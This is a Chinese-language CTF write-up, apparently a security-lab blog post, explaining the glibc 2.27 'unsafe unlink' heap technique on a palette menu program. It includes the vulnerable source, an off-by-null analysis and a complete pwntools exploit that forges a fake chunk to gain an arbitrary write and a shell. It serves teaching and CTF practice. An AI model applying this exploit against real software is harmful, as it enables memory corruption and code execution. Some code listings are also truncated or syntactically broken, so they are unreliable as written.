您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

堆利用之unsafe unlink

合天网安实验室 发布时间:2021-06-24 17:30:00 ,浏览量:0

原创稿件征集

邮箱:edu@antvsion.com

QQ:3200599554

黑客与极客相关,互联网安全领域里

的热点话题

漏洞、技术相关的调查或分析

稿件通过并发布还能收获

200-800元不等的稿酬

漏洞简介

glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷,通过修改堆块的元数据信息,从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。

本文以libc-2.27.so为例,结合一道pwn题目来介绍利用过程。

程序checksec检查

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

题目源码分析

int main()
{
    int choice = 0;
    prepare();
    while(1) {
        choose_action(&choice);
        switch (choice) {
            case 1:
                squeeze();
                break;
            case 2:
                wash();
                break;
            case 3:
                display();
                break;
            case 4:
                mix();
                break;
            case 5:
                insepct();
                break;
            default:
                puts("Nah... You just cannot do this :( ");
                exit(0);
        }
            }
    return 0;
}

主函数是菜单,choose_action只是简单读入整数以进行选择,此处不再赘述。

void squeeze()
{
    int i;
    struct palette* tmp;
    for(i = 0; i < COLOR_NUM; i++) {
        if (!your_palette[i]) {
            puts("Found some free space for you!");
            break;
        }
    }
    if (i == COLOR_NUM) {
        puts("Your palette is full :(");
        exit(0);
    }
    tmp = malloc(sizeof(struct palette));
    if (!tmp) {
        puts("Sorry but something wrong with your palette :(");
        exit(0);
    }
    puts("Now you are squeezing some pigment into the palette...");
    puts("Please name youe color:");
    make_component(tmp->color, COLOR_NAME);
    puts("Please add some ingredients:");
    make_component(tmp->ingredient, COLOR_COMPONENT);
    printf("Finished! You've squeezed something into %d slot",i);
    your_palette[i] = tmp;
}

squeeze函数用于申请新的块,并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下:

#define COLOR_NUM (4)
#define COLOR_NAME (0x20)
#define COLOR_COMPONENT (0x4d8)
struct palette {
    char color[COLOR_NAME];
    char ingredient[COLOR_COMPONENT];
}*your_palette[COLOR_NUM];
long secret_button = 0;

make_component函数定义如下。该函数根据传入的长度,逐字节读入用户输入,检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。

void make_component(char* ptr, int len)
{
    if (0 == len) {
        return;
    }
    char c;
    int i = 0;
    while ( i < len ) {
        read(0, &c, 1);
        if ( c == '\n' ) {
            ptr[i] = 0;
            return;
        }
        ptr[i++] = c;
    }
    ptr[i] = 0;
}

乍看之下没有什么问题,但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0,而这一地址属于理想的修改范围之外,因此产生off-by-null的漏洞。

void mix()
{
    int index;
    puts("Now input the color index:");
    scanf("%d", &index);
    index--;
    if (0 color, COLOR_NAME);
            puts("Please add some ingredients:");
            make_component(ddl_ptr->ingredient, COLOR_COMPONENT);
            puts("Finished!");
            return;
        } else {
            puts("Maybe you are willing to mix some color...");
            puts("But you should squeeze first!");
            exit(0);
        }
    } else {
        puts("Your palette is not as large as you imagine...");
        exit(0);
         }
}

mix函数用于修改已经申请好的chunk,可以重新设置某一个palette的color段以及ingredient段。

void wash()
{
    int index;
    puts("Now input the color index:");
    scanf("%d", &index);
    index--;
    if (0 fd;                      \
    BK = P->bk;                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))          \
      malloc_printerr ("corrupted double-linked list");            \
    else {                      \
        FD->bk = BK;                    \
        BK->fd = FD;                    \
        if (!in_smallbin_range (chunksize_nomask (P))            \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {          \
      if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
        malloc_printerr ("corrupted double-linked list (not small)");   \
            if (FD->fd_nextsize == NULL) {              \
                if (P->fd_nextsize == P)              \
                  FD->fd_nextsize = FD->bk_nextsize = FD;          \
                else {                    \
                    FD->fd_nextsize = P->fd_nextsize;            \
                    FD->bk_nextsize = P->bk_nextsize;            \
                    P->fd_nextsize->bk_nextsize = FD;            \
                    P->bk_nextsize->fd_nextsize = FD;            \
                                      }                    \
              } else {                    \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;          \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;          \
              }                      \
          }                      \
      }                        \
}

unlink是在释放某一块时调用的“函数”,本意是将空闲块进行合并形成双向链表,提高空间利用率,但是在安全检查方面存在一些漏洞。在利用过程中,需要绕过两处安全检查(标红和标蓝处)。简单来说,unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。

  • 标红处用于检查P的大小是否和下一块的prev_size段相等(即检查此块的B区域表示的大小和下一块的A区域的值是否相等)。

  • 标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。

当两处检查均通过时,堆管理器会执行FD->bk = BK与BK->fd = FD,从而将P加入到双向链表中。因此,本题的核心在于如何绕过这两处检查。

漏洞利用

利用思路大致如下:

1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。

2、修改chunkA,在其中精巧地布置出一个chunkD。

3、释放chunkB,并让堆管理器unlink chunkD。

4、修改chunkA,写入任意地址。

5、修改chunkA,实现任意地址写。

ADD, FREE, SET, INSPECT = '1', '2', '4', '5'
def operate(op, arg1='A', arg2='A', arg3='A'):
    global io
    io.recvuntil('e:\n')
    io.sendline(op)
    if op == '1':
        # squeeze()
        io.recvuntil('color:\n')
        if len(arg1) < 32:
            io.sendline(arg1)
        else:
            io.send(arg1)
        io.recvuntil('ingredients:\n')
        if len(arg2) < 1240:
            io.sendline(arg2)
        else:
            io.send(arg2)
    elif op == '2'
            # wash()
        io.recvuntil('color index:\n')
        io.sendline(str(arg1))
    elif op == '4':
        # mix()
        io.recvuntil('color index:\n')
        io.sendline(str(arg1))
        io.recvuntil('color:\n')
        if len(arg2) < 32:
            io.sendline(arg2)
        else:
            io.send(arg2)
        io.recvuntil('ingredients:\n')
        if len(arg3) < 1240:
            io.sendline(arg3)
        else:
            io.send(arg3)
    elif op == '5':
        # inspect()
        pass

首先定义一个operate函数,用于处理各类请求信息,将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用:

1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。

operate(ADD) #chunkA
operate(ADD) #chunkB
operate(ADD) #chunkC

使用gdb查看内存情况:

之所以使用3个chunk,是为了防止free chunkB的时候其与top chunk合并。

然后以chunkA为例,查看它的内容:

可见该chunk大小为0x500、前一个chunk处于使用中。(之后的截图为多次运行程序所截,由于开启了ASLR,所以堆的地址会发生改变,但内容是一致的,不影响阅读)

2、修改chunkA,在其中精巧地布置出一个chunkD。

chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk,我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意,用户申请的chunkA指向chunkA的data段,我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节,那么对应了chunkD的A、B、C、D区域(前文所述)。如何填充这四个区域呢?

首先关注B区域。由于chunkD是chunkA内的一块,且其元数据区的地址在chunkA的数据区,所以它的大小应该是chunkA-16,即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉,这里将前一块标记为使用中,所以B区域填充0x4f1。那么A区域是属于chunkA的,可以填充任意值,此处填0。

C、D区域是chunkD的fd、bk指针,是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址,而chunkA的数据区地址正好是malloc chunkA时获得的,其保存在全局变量your_palette[0]中。

由于程序没有开启PIE,所以可以通过objdump直接获取全局变量的地址。

这里就利用了unlink中的一个漏洞:它默认fd和bk都指向了合法的chunk地址,所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk,然后取偏移量24字节和16字节,并将其视为合法的bk和fd。而如果fd、bk是用户可控的,那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16,那么fd->bk和bk->fd都会指向your_palette[0],即为chunkA的data段,即为chunkD的元数据地址,从而实现了绕过检查。此时0x1160670为chunkD的元数据地址,chunkD的fd、bk被设置为0x6020c0-24=0x6020a8与0x6020c-16=0x6020b0。

接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区(即chunkB的A区域)填充padding与chunkD的大小。这里需要完全填充ingredient区域,以触发前文提到过的off-by-null漏洞,从而将chunkB的PREV_INUSE位置0,使得chunkD被视作空闲块。

可见0x1160b68处的0x501被修改为0x500,且其prev_size段被设置为0x4f0。

palette_addr = 0x6020c0
secret_button_addr = 0x6020a0
payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)
payload2 = b'\x00' * 0x4d0 + p64(0x4f0)
operate(SET, 1, payload1, payload2)

3、释放chunkB,并让堆管理器unlink chunkD。

释放掉chunkB后,查看your_palette内容,可见your_palette[0]被设置为0x6020a8,这是因为unlink成功,执行了BK->fd = FD。这里注意到,chunkA仍然是一个使用中的chunk,但它指向了全局数据区。那么此后调用mix时,将向此处写入新的数据。这里需要注意到,写入的第24-32字节会重新覆盖your_palette[0],也就是说可以再次指向另一个地址,而这个地址就是用户任意写入的了。

operate(FREE,2)

4、修改chunkA,写入任意地址。

这里直接写入secret_button的地址,并调用mix函数。

payload = b'\x00' * 24 + p64(secret_button_addr)
operate(SET, 1, payload)

5、修改chunkA,实现任意地址写。

secret_button只需非0即可,这里写入1。

operate(SET, 1, p64(1))

最后简单调用inspect即可getshell。

完整exp代码

from pwn import *
binary_file = './a.out'
io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})
lib = ELF('./libc-2.27.so')
proc = ELF(binary_file)
palette_addr = 0x6020c0
secret_button_addr = 0x6020a0
button = 1
ADD, FREE, SET, INSPECT = '1', '2', '4', '5'
def operate(op, arg1='A', arg2='A', arg3='A'):
    global io
    io.recvuntil('e:\n')
    io.sendline(op)
    if op == '1':
        # squeeze()
        io.recvuntil('color:\n')
        if len(arg1) < 32:
            io.sendline(arg1)
        else:
            io.send(arg1)
        io.recvuntil('ingredients:\n')
        if len(arg2) < 1240:
            io.sendline(arg2)
        else:
            io.send(arg2)
    elif op == '2':
        # wash()
        io.recvuntil('color index:\n')
        io.sendline(str(arg1))
    elif op == '4':
        # mix()
        io.recvuntil('color index:\n')
        io.sendline(str(arg1))
        io.recvuntil('color:\n')
        if len(arg2) < 32:
            io.sendline(arg2)
        else:
            io.send(arg2)
        io.recvuntil('ingredients:\n')
        if len(arg3) < 1240:
            io.sendline(arg3)
        else:
            io.send(arg3)
    elif op == '5':
        # inspect()
        pass
# prepare 3 chunks
operate(ADD)
operate(ADD)
operate(ADD
# setup chunkD in chunkA
payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)
payload2 = b'\x00' * 0x4d0 + p64(0x4f0)
operate(SET, 1, payload1, payload2)
# free chunkB and unsafely unlink
operate(FREE, 2)
# fabricate data
payload = b'\x00' * 24 + p64(secret_button_addr)
operate(SET, 1, payload)
operate(SET, 1, p64(1))
# arbitrary write
operate(INSPECT)
io.interactive()

说明

编译源程序:gcc unsafe_unlink.c -no-pie

相关实验:利用溢出改写地址https://www.hetianlab.com/expc.do?ec=ECIDc271-da53-4bd3-9b61-d59c3b9d3407&pk_campaign=weixin-wemedia#stu本节课主要讲解objdump命令的使用和c语言函数调用约定,学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。

文末福利

戳“阅读原文”免费领取畅学会员!

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0445s